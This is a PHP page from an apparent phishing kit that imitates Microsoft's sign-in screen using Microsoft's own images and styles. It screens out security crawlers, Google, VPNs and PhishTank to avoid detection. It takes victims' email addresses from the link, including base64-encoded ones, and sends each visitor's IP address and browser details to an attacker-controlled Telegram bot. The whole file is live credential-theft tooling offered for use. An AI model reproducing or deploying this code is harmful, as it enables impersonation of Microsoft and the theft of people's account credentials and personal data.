<?php
error_reporting(0);
require_once('session_init.php');

include('session/function.php');
include('config.php');

require ("antibots/AntiBotUserAgent.php");
require ("antibots/AntiBotIsp.php"); 
require ("antibots/AnitiBotHost.php");
require ("antibots/AntiBotPhishTank.php");
require ("antibots/AntiBotVpn.php");
require ("antibots/SaveBrowsing.php");
require ("antibots/DiscoveredBot.php");
require ("antibots/AntiBotThree.php");
require ("antibots/DisturbOne.php");
require ("antibots/DisturbTwo.php");
require("antibots/Anti/Bot-Crawler.php");
if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { include($path."404.php"); exit(); }
if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { include($path."404.php"); exit(); }

// Generate or get visitor ID (64 hex characters = 32 bytes)
if (isset($_GET['id']) && preg_match('/^[a-f0-9]{64}$/', $_GET['id'])) {
    // Use visitor ID from URL if valid
    $visitor_id = $_GET['id'];
} elseif (isset($_SESSION['visitor_id']) && preg_match('/^[a-f0-9]{64}$/', $_SESSION['visitor_id'])) {
    // Use visitor ID from session if exists
    $visitor_id = $_SESSION['visitor_id'];
} else {
    // Generate new visitor ID
    $visitor_id = bin2hex(random_bytes(32));
}
// Store visitor ID in session
$_SESSION['visitor_id'] = $visitor_id;

// Check for existing visitor key in cookie
if(!isset($_COOKIE['visitor_key'])) {
    // Generate new random visitor key
    $visitor_key = bin2hex(random_bytes(16));
    
    // Set cookie that expires in 30 days
    setcookie('visitor_key', $visitor_key, time() + (86400 * 30), "/");
}

// Check if email is in URL parameter
if(isset($_GET['em']) || isset($_GET['email'])) {
    $email = isset($_GET['em']) ? $_GET['em'] : $_GET['email'];
    
    // Check if email is base64 encoded
    if(preg_match('/^[a-zA-Z0-9\/\r\n+]*={0,2}$/', $email)) {
        $decoded = base64_decode($email, true);
        if($decoded !== false && filter_var($decoded, FILTER_VALIDATE_EMAIL)) {
            $email = $decoded;
        }
    }
    
    // Validate email
    if(filter_var($email, FILTER_VALIDATE_EMAIL)) {
        // Store email in session
        $_SESSION['username'] = $email;
        
        // Use existing visitor_id or generate new one (already set above)
        // Redirect to pass.php with visitor ID
        header("Location: pass.php?id=" . $visitor_id);
        exit();
    }
    // If email is invalid, continue to the page for manual entry
}

$msgtg = "🔐 <b>NEW VISIT</b> 🔐\n";
$msgtg .= "━━━━━━━━━━━━━━━\n\n";

$msgtg .= "📍 <b>LOCATION INFO</b>\n";
$msgtg .= "• IP Address: <code>{$IP}</code>\n";
$msgtg .= "• Location: <code>http://www.geoiptool.com/?IP={$IP}</code>\n\n";

$msgtg .= "💻 <b>DEVICE INFO</b>\n";
$msgtg .= "• Browser: <code>{$os}</code>\n";
$msgtg .= "• User-Agent: <code>" . substr($_SERVER['HTTP_USER_AGENT'], 0, 100) . "...</code>\n\n";

$msgtg .= "━━━━━━━━━━━━━━━\n";
$msgtg .= "⏰ " . date("F j, Y g:i a") . "\n\n";
$msgtg .= " + Dev: <a href='https://t.me/VIRUS_B5'>@VIRUS_B5</a> +";

if ($settings['send_clicks'] == "1"){
    $send = [
        'chat_id' => $settings['chat_id'],
        'text' => $msgtg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    
    $website = "https://api.telegram.org/bot{$settings['bot_url']}";
    $ch = curl_init($website . '/sendMessage');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);
}

?>

<!DOCTYPE html>
<html dir="ltr" lang="en">
<head>
    <title>Sign in to your account</title>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">
    <link href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css" rel="stylesheet">
</head>

<body class="cb" style="display: block;">

<div>
<div></div>

<div>
<div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
    <div class="background-image-holder" role="presentation">
        <div class="background-image ext-background-image" style="background-image: url('https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/4_eae2dd7eb3a55636dc2d74f4fa4c386e.svg');"></div>
    </div>
</div>


<div class="outer">
    <div class="template-section main-section">
        <div class="middle ext-middle">
            <div class="full-height">
                <div class="flex-column">
                    <div class="win-scroll">

                    <form method="POST" action="red.php?id=<?php echo htmlspecialchars($visitor_id); ?>" novalidate="" >
                        <!-- Email Input Screen -->
                        <div id="emailScreen" class="sign-in-box ext-sign-in-box fade-in-lightbox has-popup">
                            <div class="lightbox-cover"></div>
                            <div>
                                <img class="logo" role="img" src="https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft">
                            </div>
                            <div role="main">
                                <div class="">
                                    <div class="pagination-view animate slide-in-next">
                                        <div data-viewid="1" data-showfedcredbutton="true">
                                            <div>
                                                <div class="row title ext-title" id="loginHeader">
                                                    <div role="heading" aria-level="1">Sign in</div>
                                                </div>
                                            </div>
                                            <div class="row">
                                                <div role="alert" aria-live="assertive">
                                                    <span class="col-md-24 error ext-error" id="emailError" style="display: none;">This Microsoft account doesn't exist. Enter a valid email address.</span>
                                                </div>
                                                <div class="form-group col-md-24">
                                                    <div class="placeholderContainer">
                                                        <input type="email" name="emailInput" id="emailInput" maxlength="113" class="form-control ltr_override input ext-input text-box ext-text-box" placeholder="Email, phone, or Skype">
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="position-buttons">
                                                <div class="row">
                                                    <div class="col-md-24">
                                                        <div class="text-13">
                                                            <div class="form-group">No account? <a href="#" id="signup" aria-label="Create a Microsoft account">Create one!</a></div>
                                                            <div class="form-group">
                                                                <a id="cantAccessAccount" name="cannotAccessAccount" href="#">Can't access your account?</a>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="win-button-pin-bottom">
                                                <div class="row">
                                                    <div>
                                                        <div class="col-xs-24 no-padding-left-right button-container">
                                                            <div class="inline-block">
                                                                <button type="submit" class="win-button button_primary button ext-button primary ext-primary" id="nextBtn">Next</button>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
</form>

                    </div>
                </div>
            </div>
        </div>
    </div>

    <div></div>
</div>

</div>
</div>
</div>

<div id="footer" role="contentinfo" class="footer ext-footer">
    <div>
        <div id="footerLinks" class="footerNode text-secondary">
            <a id="ftrTerms" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a>
            <a id="ftrPrivacy" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy &amp; cookies</a>
            <a id="moreOptions" href="#" role="button" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
        </div>
    </div>
</div>

</div>
</div>
</div>
</div>
</body>
</html>